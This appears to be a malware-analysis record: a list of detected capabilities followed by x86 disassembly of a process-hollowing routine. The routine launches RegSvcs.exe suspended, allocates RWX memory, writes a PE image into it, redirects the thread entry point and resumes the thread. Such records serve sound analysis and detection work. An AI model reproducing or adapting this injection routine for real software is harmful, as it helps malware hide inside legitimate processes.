Function at 0x4014d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, 0x5a4d
push esi
push edi
mov dword [ebp - 0x298], ebx
cmp word [ebx], ax
jne 0x401705
mov edi, dword [ebx + 0x3c]
add edi, ebx
cmp dword [edi], 0x4550
jne 0x401705
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x44
lea eax, [ebp - 0x268]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x27c], xmm0
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x268]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push str.C:WindowsMicrosoft.NETFramework_v4.0.30319RegSvcs.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401705
push 0x2cc
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
mov dword [ebp - 0x2a0], eax
mov dword [eax], 0x10007
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4016ef
mov esi, dword [ebp - 0x27c]
push str.NtQueryInformationProcess
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x21c]
mov dword [ebp - 0x21c], 0
push ecx
push 0x18
lea ecx, [ebp - 0x294]
xorps xmm0, xmm0
push ecx
push 0
push esi
movups xmmword [ebp - 0x294], xmm0
movq qword [ebp - 0x284], xmm0
call eax
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor ecx, ecx
push 0x40
push 0x3000
push dword [edi + 0x50]
test eax, eax
push dword [edi + 0x34]
cmovns ecx, dword [ebp - 0x290]
push dword [ebp - 0x27c]
mov dword [ebp - 0x29c], ecx
call esi
mov dword [ebp - 0x26c], eax
test eax, eax
jne 0x40163f
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [ebp - 0x27c]
call esi
mov eax, dword [ebp - 0x26c]
push 0
push dword [edi + 0x54]
push ebx
push eax
push dword [ebp - 0x27c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx esi, word [edi + 0x14]
xor eax, eax
add esi, ebx
add esi, dword [ebx + 0x3c]
xor ebx, ebx
cmp ax, word [edi + 6]
jae 0x4016a0
add esi, 0x28
nop dword [eax + eax]
mov eax, dword [esi + 4]
add eax, dword [ebp - 0x298]
push 0
push dword [esi]
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 0x26c]
push eax
push dword [ebp - 0x27c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [edi + 6]
lea esi, [esi + 0x28]
inc ebx
cmp ebx, eax
jl 0x401670
push 0
push 4
lea eax, [ebp - 0x26c]
push eax
mov eax, dword [ebp - 0x29c]
add eax, 8
push eax
push dword [ebp - 0x27c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x2a0]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x26c]
push ecx
mov dword [ecx + 0xb0], eax
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x278]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x27c]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402140
mov esp, ebp
pop ebp
ret